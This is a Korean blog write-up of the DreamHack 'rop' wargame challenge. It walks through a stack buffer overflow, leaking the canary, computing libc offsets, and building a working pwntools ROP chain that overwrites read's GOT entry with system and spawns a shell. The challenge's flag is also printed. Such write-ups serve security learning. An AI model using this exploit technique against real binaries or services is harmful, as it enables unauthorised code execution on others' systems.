rsp-∞

[DreamHack] rop 본문

Write-ups/system

[DreamHack] rop

portrait.kim 2024. 5. 25. 14:31
// Name: rop.c

// Compile: gcc -o rop rop.c -fno-PIE -no-pie



#include <stdio.h>
#include <unistd.h>

int main() {

  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

 

rop.c의 코드이다. 카나리를 우회하고 ROP를 수행한다. ROP는 앞서 RTL의 풀이 중 언급되었던 리턴 가젯을 연결하여 사용하는 기법이다.

 

$ checksec rop
[*] '/home/chaehyeonkim/Downloads/c6973d96-75eb-4d5f-be44-682ee4e1ec52/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

보호 기법들을 점검해 보면, 역시 카나리와 NX가 적용되어 있다. RTL과 같이 PIE은 적용되어 있지 않기 때문에 코드 및 데이터 세그먼트 값은 고정되어 있음을 알 수 있다. 취약점은 RTL과 유사하게 버퍼 오버플로우이다. 그러나 차이점은 /bin/sh가 기록되는 코드가 존재하지 않아 RTL에서 사용했던 system을 호출하는 rdi=/bin/sh 형식의 코드를 작성할 수 없다는 것이다.

Dump of assembler code for function main:
   0x00000000004006f7 <+0>:	push   rbp
   0x00000000004006f8 <+1>:	mov    rbp,rsp
   0x00000000004006fb <+4>:	sub    rsp,0x40
   0x00000000004006ff <+8>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400708 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070c <+21>:	xor    eax,eax
   0x000000000040070e <+23>:	mov    rax,QWORD PTR [rip+0x20095b]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400715 <+30>:	mov    ecx,0x0
   0x000000000040071a <+35>:	mov    edx,0x2
   0x000000000040071f <+40>:	mov    esi,0x0
   0x0000000000400724 <+45>:	mov    rdi,rax
   0x0000000000400727 <+48>:	call   0x400600 <setvbuf@plt>
   0x000000000040072c <+53>:	mov    rax,QWORD PTR [rip+0x20092d]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400733 <+60>:	mov    ecx,0x0
   0x0000000000400738 <+65>:	mov    edx,0x2
   0x000000000040073d <+70>:	mov    esi,0x0
   0x0000000000400742 <+75>:	mov    rdi,rax
   0x0000000000400745 <+78>:	call   0x400600 <setvbuf@plt>
   0x000000000040074a <+83>:	mov    edi,0x400874
   0x000000000040074f <+88>:	call   0x4005b0 <puts@plt>
   0x0000000000400754 <+93>:	mov    edx,0x5
   0x0000000000400759 <+98>:	mov    esi,0x400884
   0x000000000040075e <+103>:	mov    edi,0x1
   0x0000000000400763 <+108>:	call   0x4005c0 <write@plt>
   0x0000000000400768 <+113>:	lea    rax,[rbp-0x40]
   0x000000000040076c <+117>:	mov    edx,0x100
   0x0000000000400771 <+122>:	mov    rsi,rax
   0x0000000000400774 <+125>:	mov    edi,0x0
   0x0000000000400779 <+130>:	call   0x4005f0 <read@plt>
   0x000000000040077e <+135>:	lea    rax,[rbp-0x40]
   0x0000000000400782 <+139>:	mov    rsi,rax
   0x0000000000400785 <+142>:	mov    edi,0x40088a
   0x000000000040078a <+147>:	mov    eax,0x0
   0x000000000040078f <+152>:	call   0x4005e0 <printf@plt>
   0x0000000000400794 <+157>:	mov    edi,0x400893
   0x0000000000400799 <+162>:	call   0x4005b0 <puts@plt>
   0x000000000040079e <+167>:	mov    edx,0x5
   0x00000000004007a3 <+172>:	mov    esi,0x400884
   0x00000000004007a8 <+177>:	mov    edi,0x1
   0x00000000004007ad <+182>:	call   0x4005c0 <write@plt>
   0x00000000004007b2 <+187>:	lea    rax,[rbp-0x40]
   0x00000000004007b6 <+191>:	mov    edx,0x100
   0x00000000004007bb <+196>:	mov    rsi,rax
   0x00000000004007be <+199>:	mov    edi,0x0
   0x00000000004007c3 <+204>:	call   0x4005f0 <read@plt>
   0x00000000004007c8 <+209>:	mov    eax,0x0
   0x00000000004007cd <+214>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004007d1 <+218>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004007da <+227>:	je     0x4007e1 <main+234>
   0x00000000004007dc <+229>:	call   0x4005d0 <__stack_chk_fail@plt>
   0x00000000004007e1 <+234>:	leave  
   0x00000000004007e2 <+235>:	ret    
End of assembler dump.

 

이번에도 역시 비슷한 순서로 카나리의 값을 먼저 알아내기 위해 main을 디스어셈블하고 스택의 구조를 살펴보도록 하자. buf의 크기가 48바이트, 그 밑으로 RTL과 동일하게 dummy, 카나리, RBP, RET가 8바이트씩 스택을 구성하고 있다. 이전에 사용했던 카나리 우회 코드와 비슷하게 코드를 작성하면 아래와 같다.

 

$ python3 rop_canary.py
[+] Starting local process './rop': pid 3804
[*] '/home/chaehyeonkim/Downloads/c6973d96-75eb-4d5f-be44-682ee4e1ec52/rop'
[+] Canary: 0xd61cc29d455c5e00
[*] Stopped process './rop' (pid 3804)

 

카나리 값이 출력된 것을 볼 수 있다.

 

위에서 /bin/sh가 데이터 영역에 삽입되고 있지 않기 때문에 system 함수를 호출하는 기존의 코드를 작성할 수 없다고 했다. 그러므로 익스플로잇 코드에 system을 실행시키는 코드를 집어넣으려면 system 함수의 주소를 직접 알아내야 하는데, 여기서 주목할 점은 rop.c 코드에서 찾아볼 수 있는 printf, read, puts와 같은 함수들이 모두 system과 같은 라이브러리 libc에 저장이 되어 있다는 것이다. 해당 라이브러리 안에서 함수 간의 오프셋은 모두 똑같고 라이브러리 파일은 메모리에 전체 매핑되므로 위 함수들의 주소를 알면 system 함수의 주소 또한 알아낼 수 있다. 

$ readelf -s libc.so.6 | grep " read@"
   289: 0000000000114980   157 FUNC    GLOBAL DEFAULT   15 read@@GLIBC_2.2.5
$ readelf -s libc.so.6 | grep " system@"
  1481: 0000000000050d60    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

 

해당 체제에서 read 함수와 system 함수는 C 3C20 만큼의 거리를 가지는데, 실제로 위 명령어를 통해 두 주소를 빼 보면 C 3C20이 나온다.

 

이 문제에서는 데이터 영역에 /bin/sh가 없기 때문에 다른 파일에 존재하는 해당 문자열을 참조하여 사용할 수 있다. 드림핵에서 한 것처럼 버퍼에 그 문자열을 집어넣고 참조하자.

pwndbg> search /bin/sh
Searching for value: '/bin/sh'
libc.so.6       0x7ffff7dd8678 0x68732f6e69622f /* '/bin/sh' */

 

 

read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854

 

system 함수의 주소를 구할 때 우리가 오프셋을 구한 read 함수는 rdi, rsi, ret 세 개의 인자를 받는데, 그 값들은 ROPgadget으로 구한다. 그리고 GOT overwrite를 수행하는데, 여기서 GOT 엔트리 뒤에 /bin/sh를 붙여 쓰면 된다. 

 

from pwn import *

p = remote('host3.dreamhack.games', 22426)
e = ELF('./rop')
libc = ELF('./libc.so.6')
read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854

payload = b'A' * 0x39
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))

payload = b'A' * 0x38 + p64(canary) + b'A' * 0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret) + p64(read_plt)

p.sendafter(b'Buf: ', payload)

read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

 

익스플로잇 코드를 작성하고 실행시키면 셸을 획득하고 플래그를 출력할 수 있다.

 

$ python3 rop.py

[+] Opening connection to host3.dreamhack.games on port 11743: Done
[*] '/home/chaehyeonkim/Downloads/c6973d96-75eb-4d5f-be44-682ee4e1ec52/rop'
[*] Switching to interactive mode
$ ls
flag
rop
run.sh
$ cat flag
DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}